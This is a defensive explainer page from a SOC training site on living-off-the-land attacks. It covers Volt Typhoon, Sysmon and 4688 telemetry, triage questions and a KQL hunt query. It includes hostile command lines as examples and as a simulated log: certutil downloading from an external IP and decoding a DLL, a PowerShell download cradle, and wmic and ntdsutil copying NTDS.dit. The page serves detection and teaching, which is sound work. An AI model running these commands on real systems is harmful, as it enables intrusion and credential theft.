Skip to main content
ThreatsXDRSIEM

What is Living-off-the-Land (LOTL)?

A living off the land (LOTL) attack is an intrusion carried out with tools already on the system, such as PowerShell, WMI, certutil and ntdsutil, instead of custom malware. The binaries are signed and used daily by administrators, so detection depends on who ran them, from which parent process and with what command line.

Definition

Living-off-the-Land (LOTL)
A living off the land (LOTL) attack is an intrusion carried out with tools already on the system, such as PowerShell, WMI, certutil and ntdsutil, instead of custom malware. The binaries are signed and used daily by administrators, so detection depends on who ran them, from which parent process and with what command line.

How Living-off-the-Land (LOTL) Works

The term covers more than Windows binaries. The joint guidance that CISA, NSA, FBI and seven partner agencies published on February 7, 2024, Identifying and Mitigating Living Off the Land Techniques, describes LOTL as "the abuse of native tools and processes on systems" and applies it to Linux, macOS, cloud and hybrid environments as well as Windows. It also counts third-party software that admins already trust: remote monitoring and management, patch management, EDR and database tools, which come with built-in ways to run commands on every managed host, domain controllers included. Attackers keep using it, the guidance says, because many organizations lack the logging and baselines needed to spot it, and CISA red team assessments "demonstrate how an adversary could achieve full domain compromise with little to no investment in tooling".

Why living off the land attacks get past antivirus

There is no malicious file to hash. The binary carries a Microsoft signature and the same hash it had yesterday. The guidance adds that EDR can stay quiet too, because vendors may assume LOLBins are safe and administrators ask for configurations that allow them so their own work is not blocked. Indicators are cheap to change: the guidance shows ntdsutil snapshot "activate instance ntds" create quit quit working just as well shortened to ntdsutil snapshot "ac i ntds" create quit quit, so a rule keyed to the long form misses the short one. ATT&CK files much of this under T1218 System Binary Proxy Execution, which describes proxying malicious content through signed, trusted binaries to bypass process and signature-based defenses.

Tools LOTL attackers abuse

The LOLBAS project catalogs Windows binaries, scripts and libraries with documented abuse, and the guidance points to GTFOBins for Unix, LOOBins for macOS and LOLDrivers for drivers. These are the ones a SOC meets most often in Windows cases:

ToolNormal jobWhat abuse looks likeATT&CK
powershell.exeAdministration and automation-EncodedCommand with a Base64 blob; IEX (New-Object Net.WebClient).DownloadString()T1059.001
wmic.exeInventory and remote management/node: plus process call create to start a process on another hostT1047
certutil.exeCertificate management-urlcache -f or -verifyctl -f with a URL; -decode turning a Base64 text file into a binaryT1105
regsvr32.exeRegistering COM DLLs/s /n /u /i: with a remote .sct scriptlet and scrobj.dll, the trick nicknamed SquiblydooT1218.010
mshta.exeRunning HTML ApplicationsA remote .hta file or inline script in the argumentsT1218.005
ntdsutil.exeActive Directory database maintenancesnapshot or ifm on a domain controller outside planned work, to copy NTDS.ditT1003.003
netsh.exeNetwork configurationinterface portproxy rules that relay traffic through the hostT1090.001

Volt Typhoon: the intrusions behind the guidance

The joint guidance draws partly on incident response at critical infrastructure organizations compromised by Volt Typhoon, which ATT&CK tracks as G1017, a PRC state-sponsored group active since at least 2021. Advisory AA24-038A, released the same day, calls LOTL techniques "a hallmark" of the group. For the Active Directory database it describes an RDP session to a domain controller with a domain admin account, vssadmin to create a volume shadow copy, then WMIC commands that run ntdsutil to copy NTDS.dit and the SYSTEM hive out of that copy. The group also used netsh to add a PortProxy entry on a monitoring server, turning it into a relay for its command-and-control traffic.

LOTL vs fileless malware

LOTL is about the tooling; fileless malware is about where the payload lives, in memory, the registry or a WMI subscription rather than as an executable on disk. A PowerShell download cradle that runs a script in memory is both. The Volt Typhoon ntdsutil sequence is LOTL and not fileless: the copied database lands in a staging folder. In practice LOTL is caught in process creation events, while a fileless payload more often shows up in script block logs and memory.

The telemetry that exposes it: Sysmon Event 1 vs Event 4688

Every row in the tools table appears in process creation telemetry, so the questions are which source you collect and whether it carries the command line. The guidance names both native options for the ntdsutil case: Security log Event ID 4688 and Sysmon Event ID 1 record the command-line arguments used. They do not record the same fields.

Security Event 4688Sysmon Event 1Defender XDR DeviceProcessEvents
What has to be onAudit Process Creation, plus the policy "Include command line in process creation events"Sysmon with a configuration that keeps the eventDevice onboarded to Defender for Endpoint
Command lineProcess Command Line, empty by default until that policy is enabledCommandLineProcessCommandLine
ParentCreator Process Name, path only (event version 2, Windows 10 and later)ParentImage and ParentCommandLineInitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
Renamed binaryNot in the eventOriginalFileNameProcessVersionInfoOriginalFileName
File hashNot in the eventHashes, with the algorithms set in the configurationSHA1; Microsoft notes SHA256 is usually not populated

If 4688 is all you have, turn on the command line before anything else: without it you know that certutil ran and nothing about what it fetched. Microsoft's documentation warns that the arguments are logged in plain text and can contain passwords, so anyone who can read the Security log can read them; check who has that access. The Sysmon event IDs guide covers turning on Event 1 and picking a configuration. The joint guidance also recommends matching on OriginalFileName, which keeps the PE header name when someone copies net.exe to net2.exe.

A simulated LOTL chain in process telemetry

Simulated example generated by SOCSimulator Research. Hosts, accounts and times are invented; the external address is from the 203.0.113.0/24 documentation range.

Time (UTC)HostAccountParentProcessCommand line
10-21 02:14:07WEB-PRT01IIS APPPOOL\PortalPoolw3wp.execmd.execmd.exe /c whoami /all
10-21 02:16:52WEB-PRT01IIS APPPOOL\PortalPoolcmd.execertutil.execertutil.exe -urlcache -f http://203.0.113.24/u.txt C:\Windows\Temp\u.txt
10-21 02:17:30WEB-PRT01IIS APPPOOL\PortalPoolcmd.execertutil.execertutil.exe -decode C:\Windows\Temp\u.txt C:\Windows\Temp\u.dll
10-21 02:18:04WEB-PRT01IIS APPPOOL\PortalPoolcmd.exerundll32.exerundll32.exe C:\Windows\Temp\u.dll,Start
10-23 01:41:15ADM-JMP02CORP\svc-inventorycmd.exewmic.exewmic /node:DC01 process call create "vssadmin create shadow /for=C:"
10-23 01:41:16DC01CORP\svc-inventoryWmiPrvSE.exevssadmin.exevssadmin create shadow /for=C:
10-23 01:43:50DC01CORP\svc-inventoryWmiPrvSE.exentdsutil.exentdsutil snapshot "ac i ntds" create quit quit

Each binary in that table runs on a normal estate; the sequence is what gives it away. An IIS worker process (w3wp.exe) starting cmd.exe is the pattern a web shell leaves, and the guidance singles out public-facing servers for extra scrutiny, because attackers who get in through them lean on LOLBins for execution, reconnaissance and second-stage payloads. Certutil fetched a .txt from an external IP and then decoded it into a DLL. Two days later an inventory service account started processes on a domain controller at 01:41 from a jump host, and the ntdsutil row uses the shortened syntax, so a rule matching "activate instance" would have stayed silent.

Triage: who launched it, as whom, with what arguments

QuestionWhere to read itUsually benignEscalate
Who launched it?ParentImage or InitiatingProcessFileName, and the grandparentsvchost.exe for a scheduled task, explorer.exe for an admin at the console, your deployment or RMM agentw3wp.exe, sqlservr.exe, Office applications, WmiPrvSE.exe starting a shell or ntdsutil on a domain controller
Under which account?User or AccountName, plus the logon sessionNamed admin accounts on their admin workstations, during their usual hoursA service account used interactively, a standard user running admin tools, an account on a host it never touches
With what arguments?CommandLine or ProcessCommandLineArguments that match how that binary normally runs on that hostURLs or IPs, -urlcache, -decode, -EncodedCommand, /node: to a domain controller, snapshot or ifm, heavy ^ or % escaping
Is the binary what it claims?OriginalFileName against the image pathName matches, path under System32A renamed copy, or a system binary running from Temp, Users\Public or a web root

Ask them in that order. An odd parent on its own is enough to open a case; the account and the arguments tell you how far it got.

A KQL hunt for LOTL in DeviceProcessEvents

// LOTL hunt: dual-use binaries with an odd parent, risky arguments or a renamed image
let Lolbins = dynamic(["certutil.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", "wmic.exe", "ntdsutil.exe", "netsh.exe", "powershell.exe"]);
let OddParents = dynamic(["w3wp.exe", "sqlservr.exe", "winword.exe", "excel.exe", "outlook.exe", "wmiprvse.exe"]);
let RiskyTerms = dynamic(["urlcache", "verifyctl", "decode", "encodedcommand", "enc", "downloadstring", "scrobj", "portproxy", "snapshot", "ifm", "http", "https"]);
DeviceProcessEvents
| where Timestamp > ago(14d)
| extend Binary = tolower(trim_end(@"\.mui", coalesce(ProcessVersionInfoOriginalFileName, FileName)))
| where Binary in (Lolbins)
| extend OddParent = tolower(InitiatingProcessFileName) in (OddParents),
         RiskyArgs = ProcessCommandLine has_any (RiskyTerms)
             or (Binary == "wmic.exe" and ProcessCommandLine has "node" and ProcessCommandLine has "create"),
         Renamed = Binary != tolower(FileName)
| where OddParent or RiskyArgs or Renamed
| project Timestamp, DeviceName, AccountDomain, AccountName, InitiatingProcessParentFileName,
    InitiatingProcessFileName, FileName, Binary, ProcessCommandLine, OddParent, RiskyArgs, Renamed
| order by Timestamp desc

coalesce falls back to FileName when the version info is empty, so the hunt still sees binaries without it, and has_any matches whole terms without regard to case, which is why the list holds enc rather than -enc. The query is written against the documented DeviceProcessEvents schema and has not been run against a live tenant. Expect admin noise on the first pass: PowerShell with a URL in its arguments is common in deployment scripts. Summarize the 14 days by InitiatingProcessFileName, AccountName and Binary, mark the combinations your admins own, and exclude those combinations rather than the binary. The same logic runs on Sysmon Event 1 with ParentImage, OriginalFileName and CommandLine. To widen the search once a chain is confirmed, threat hunting covers the method.

Baselines decide whether you can see it

The joint guidance's main detection advice is to know what normal looks like, and it gets specific:

  • baseline privileged accounts: the tools admins use, the commands they run, their active hours and the devices they touch;
  • for each LOLBin, learn its normal use and alert outside it ("a particular LOLBin may be used, but always with a specific command-line or user");
  • disable and alert on the installation and use of remote access tools the organization does not require;
  • bound service accounts and scanners by time of day, source and destination hosts and the accounts they can affect;
  • send logs to a central store, because some actors clear or modify local event logs.

It also names the usual reason this fails: security teams working in silos from IT cannot build a baseline of normal and privileged user behavior. A list from IT of the admin tools, service accounts and jump hosts they actually use is the quickest way to start.

Living-off-the-Land (LOTL) in SOC Operations

Most LOTL alerts reach tier 1 as a single process event: certutil ran, wmic ran. Closing one as benign needs evidence you can write in the ticket. Open the process tree in the EDR or XDR console, write down the parent, the account and the full command line, and compare them with what that binary normally does on that host. If you cannot say what normal is, ask the system owner before you close it. When a chain is confirmed, scope it: search the same command-line pattern and the same parent across every endpoint, follow the account's logons to the next hosts it touched, and pull whatever the commands downloaded. LOTL is usually one stage of a longer intrusion, so the case notes should say where the attacker came from and what they did next, not only which binary ran. Every ruled-out alert is also tuning input: record the benign parent, account and arguments so the next hunt excludes that combination instead of the whole binary.

Free

Practice Living-off-the-Land (LOTL) in a Real SOC

SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating living-off-the-land (lotl) scenarios with zero consequences, free.

Frequently Asked Questions

Can antivirus detect LOTL attacks?
Not reliably. Signature and hash matching have nothing to flag, because the binary is the genuine signed one. The joint guidance adds that EDR may stay quiet as well: vendors may assume LOLBins are safe, and admins ask for configurations that allow them. What works is behavioral: rules on the parent process, the account and the arguments, tuned to your own baseline. Antivirus still has a chance at any second-stage file the attacker drops.
How do you detect a living off the land attack?
Collect process creation events with the full command line (Sysmon Event 1, or Event 4688 with command-line auditing enabled) and centralize them. Hunt for dual-use binaries that run under an unusual parent, an unusual account or with download, decode or remote-execution arguments, and check OriginalFileName to catch renamed copies. Then compare each hit with a baseline of which admins use which tools, on which hosts and at what hours.
Which tools do LOTL attackers abuse most?
No public dataset ranks them reliably. The best primary list is advisory AA24-038A, which names the LOTL tools Volt Typhoon used for discovery alone: cmd, certutil, dnscmd, ldifde, makecab, net, netsh, nltest, netstat, ntdsutil, ping, PowerShell, quser, reg, systeminfo, tasklist, wevtutil, whoami, wmic and xcopy. The joint guidance adds third-party admin software, such as remote monitoring and management or patch management tools, that can run commands on every managed host.
How long can LOTL attacks go undetected?
Years, in documented cases. In advisory AA24-038A the US agencies report indications that Volt Typhoon kept access and footholds in some victim IT environments for at least five years. The joint guidance says CISA's red teams frequently use publicly known LOTL techniques with defenders rarely detecting them, and that in large organizations an investigation can take several months while the attackers expand their access.

Sources

More Threats Terms

Career Path

Threat Hunter Career Guide: Salary & Skills

Threat Hunters do not wait for alerts. You develop hypotheses based on threat intelligence and adversary behavior models…

Read more
Career Path

Incident Responder Career Guide: Salary & Skills

Incident Responders lead the technical response when confirmed breaches happen. You coordinate containment, run forensic…

Read more
Career Path

SOC Analyst (Tier 2) Career Guide: Salary & Skills

Tier 2 SOC Analysts handle the investigations that Tier 1 escalates. You dig into multi-stage attacks, coordinate contai…

Read more
Comparison

SOCSimulator vs Hack The Box: Comparison

Different tools for different career paths. SOCSimulator trains defensive analysts. Hack The Box trains offensive securi…

Read more
Tool

XDR Training Console: SOCSimulator

The XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…

Read more
Tool

SIEM Training Console: SOCSimulator

The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…

Read more
Technique

MITRE ATT&CK® Techniques: Detection Training Library

Browse all MITRE ATT&CK® techniques with detection strategies and example alerts.

Read more
Career Path

Cybersecurity Career Paths: 2026 Guide

Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.

Read more
Playbook

SOC Investigation Playbooks: Step-by-Step Guides

Practitioner investigation playbooks with decision trees and real SIEM queries.

Read more
Feature

Shift Mode: Real-Time SOC Simulation

Practice alert triage under realistic time pressure with SLA timers and noise injection.

Read more
Feature

Operations: Guided Training Operations

Structured CTF-style investigation operations covering real-world attack scenarios.

Read more
Blog

SOCSimulator Blog: Security Training Insights

Articles on SOC analyst skills, detection engineering, and career development.

Read more